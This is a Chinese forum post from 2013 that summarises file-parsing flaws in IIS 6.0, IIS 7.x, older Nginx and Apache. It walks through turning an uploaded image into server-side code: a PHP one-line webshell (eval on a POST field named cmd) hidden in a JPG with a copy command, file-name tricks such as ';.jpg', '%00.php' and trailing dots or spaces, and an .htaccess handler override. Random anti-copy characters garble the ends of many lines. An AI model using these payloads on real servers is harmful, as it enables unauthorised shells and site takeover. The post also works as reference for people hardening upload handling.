找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2695|回复: 0
打印 上一主题 下一主题

常见服务器解析漏洞总结

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:14:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Author : laterain! E* P6 ^8 S- L, K; h$ s& k. O" }
[+]IIS6.0
# ]5 |& ]" c4 H
  a  p8 W* F6 R9 A目录解析:/xx.asp/xx.jpg / L7 [1 H1 x8 P7 R  c9 B
xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码* B) y* l9 n7 Y# V% p* x+ f
IIS6.0 会将 xx.jpg 解析为 asp 文件。6 ^) g* X/ b- M/ j" ~7 A
后缀解析:/xx.asp;.jpg     
( G2 n; ?& }9 f6 k$ [ IIS6.0 都会把此类后缀文件成功解析为 asp 文件。* l% k  y* j$ F; V2 Z$ N
默认解析:/xx.asa1 _9 q4 z8 N1 ]4 W
         /xx.cer1 \5 P; Z% G) L; _/ Y* [
         /xx.cdx1 @( b& @  {9 O& w; }7 w# F5 X
IIS6.0 默认的可执行文件除了 asp 还包含这三种
+ D' A! G2 |' i0 H- z 此处可联系利用目录解析漏洞   d4 `8 S  f3 o& T8 q6 ^2 V- f, o
/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg0 ^, B) g) ?& H0 c9 Z( C
[+]IIS 7.0/IIS 7.5/Nginx <0.8.033 I3 {+ f. O. A$ R; }# H% M

4 N  r& z% C% }3 u: _5 g IIS 7.0/IIS 7.5/Nginx <0.8.03! M# o/ ?3 _6 V. x, S
在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面
6 |2 @8 o$ a+ q! |1 q2 ~ 加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。4 T! I3 X4 n# |; q  F  R
常用利用方法:
5 y; }# K" [  R7 X& `$ l9 S5 a 将一张图和一个写入后门代码的文本文件合并将恶意文本
  B5 C) R# r8 P# y& } 写入图片的二进制代码之后,避免破坏图片文件头和尾4 ?) p" [9 O: ?
如:
+ X- X0 B" J" ^* {  ?( m copy xx.jpg /b + yy.txt/a xy.jpg, \' [. P7 M& I3 a0 i
#########################################################
+ E, p  a( }: E  j  O  ~8 u6 K /b 即二进制[binary]模式
6 K$ V% j0 _" E7 b /a 即ascii模式+ O+ m, P" A0 Y  M/ I
xx.jpg 正常图片文件
2 {: t* F& D* v. k yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),7 `+ J! F) g, k# h: f
'<?php eval($_POST[cmd])?>');?>) T2 c6 {' R# e+ f( ]% d
意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称: W2 B( N2 d" T9 {4 U
为shell.php的文件
, w4 p" K# v$ q8 B+ D! n ###########################################################, b' N/ j+ I& z5 B7 @- ^
找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php 9 h7 }' t0 g) l. Z( T4 e* _6 W
即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php
1 h& Y% k7 s* Y$ b  I/ |, l% o 密码 cmd
- H2 R! a" W. b! n! Y* G5 B[+]Nginx <0.8.036 k0 G) N* f9 }, T2 l
5 m! }6 Q3 F8 o1 f
在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞4 r% _7 w+ j5 m$ ~; j
在一个文件路径(/xx.jpg)后面加上%00.php7 b) a/ k3 t- j, n) E
会将 /xx.jpg%00.php 解析为 php 文件。# ]8 n; `" D. E
[+]Apache<0.8.03$ C% o- p4 I  r9 Y( `" d: Y8 t. S
  f! v6 z. N7 I) B1 N- a
后缀解析:test.php.x1.x2.x35 G! ~; w5 O8 r/ x
Apache将从右至左开始判断后缀,若x3非可识别后缀,
. k' h" c9 q# ^5 n4 i 再判断x2,直到找到可识别后缀为止,然后将该可识别1 n3 v& A( J7 {7 \: }. x
后缀进解析test.php.x1.x2.x3 则会被解析为php. S# D+ _0 g, B0 [' b
经验之谈:php|php3|phtml 多可被Apache解析。0 k' L0 l& F* N1 K4 T- A/ R
[+]其他一些可利用的8 e* G" A' F" P  E& W

& \) {; E# ?0 D" ?) X/ A0 \在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的
- G* ^0 R- m* j$ G- V7 T- l若这样命名,windows会默认除去空格或点,这也是可以被利用的!7 C- K/ v) o& F* X# v4 ]1 v
在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格
; `0 e, p3 n2 ]! \2 I或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可- p1 w% K1 l1 q& C  q! W" f. y
得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。; w7 e$ a4 X2 u6 N2 U
{Linux主机中不行,Linux允许这类文件存在}% W! t* P! {% g8 U0 @
如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说
+ i  L; {7 P/ D+ d; W9 }* q的,当初我并不知道),且可以被上传,那可以尝试在
7 ^( I5 G5 z- e6 U, U; b0 a' T( f.htaccess中写入:7 L/ T# e8 A! m  U! b5 P, G0 A
<FilesMatch “shell.jpg”>
0 c$ m! Y/ s0 [# v) m% o3 Y3 jSetHandler application/x-httpd-php
6 _+ i0 y5 l# Y& S: |</FilesMatch>* j; W/ B8 D& }4 r: f
shell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件/ u- z2 c  |, v% u8 X1 j
[+]错误修改" f# k, A* i1 e3 C7 v4 ~

5 x6 R: w! H$ ^2 `. P% k( n2 T在 IIS 6.0 下可解析 /xx.asp:.jpg! w* G. T9 _; ~9 S" J5 W, [$ N
{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去* S9 r0 X- P( r7 p; C! J" Q
剩下/xx.asp}修改:( ]  c1 L+ |3 }( v8 ]4 |+ K; o
先谢谢核攻击的提醒7 y& d- s: N2 K# G( v9 c5 p
当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp# E7 L/ f, P( ~1 X* V/ e
里是没有任何内容的,因为。。不好解释 大家自己看/ J2 u. ?0 i- ]3 t" `+ U; H
http://lcx.cc/?i=2448
. I  }+ H$ Y, _- r" h0 Nhttp://baike.baidu.com/view/3619593.htm
! K, v% u6 b7 c" {, |$ l1 U: ]2 X, [. ?/ ~
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表